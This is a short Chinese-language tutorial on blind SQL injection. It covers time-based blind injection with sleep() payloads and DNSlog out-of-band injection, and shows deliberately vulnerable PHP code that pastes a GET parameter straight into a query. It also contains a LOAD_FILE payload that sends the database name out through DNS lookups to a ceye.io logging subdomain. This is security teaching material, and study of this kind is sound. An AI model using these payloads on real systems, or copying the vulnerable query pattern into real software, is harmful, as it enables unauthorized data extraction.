SQL盲注——时间盲注,dnslog盲注
时间盲注
时间盲注原理
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else
{
echo 'You are in...........';
}
代码存在SQL注入漏洞
然而页面不会回显数据,也不会回显错误信息
语句执行后不提示真假,我们不能通过页面内容进行判断
这里我们可以通过构造语句,通过页面响应的时长
核心语法:if(left(user(),1)=‘a’,0,sleep(3));
真实场景: if(ascii(substr(database(),1,1)>115,0,sleep(5))%23
DNSlog盲注
DNSlog盲注原理
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Right';
}
else
{
echo 'Wrong';
}
代码存在SQL注入漏洞
然而页面不会回显数据,也不会回显错误信息
我们通过布尔盲注或者时间盲注都可以获取到内容,但是整个过程中效率低,需要发送很多的请求进行判断,很可能会触发安全设备的防护
我们需要一种方式,减少请求,直接回显数据,这里可以使用DNSlog实现注入
一个DNSlog平台:ceye.io
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息
解析日志会记录HTTP Request和DNS Query
HTTP Request 包括了请求地址的详情,请求的来源地址,方式,UA等
DNS QUery 包括了请求的详情和来源地址。
MySql LOAD_FILE函数可以发起请求
SELECT LOAD_FILE(CONCAT(’\\’,‘test’,’.mysql.eftf8t.ceye.io\abc’)); -> test.mysql.eftf8t.ceye.io
核心语法
SELECT LOAD_FILE(CONCAT(’\\’,(select database()),’.mysql.eftf8t.ceye.io\abc’));
通过SQL语句查询内容,作为请求的一部分,发送至Dnslog
只要对这一部分进行构建,就能实现有回显的SQL注入
值得主意的是,这些数据格式和内容都有限制(比如不能使用特殊符号),需要进行一些处理
Load_file()只能在windows系统下发起请求
所以只有目标是windows系统时才能使用DNSlog注入,在linux下是不能的。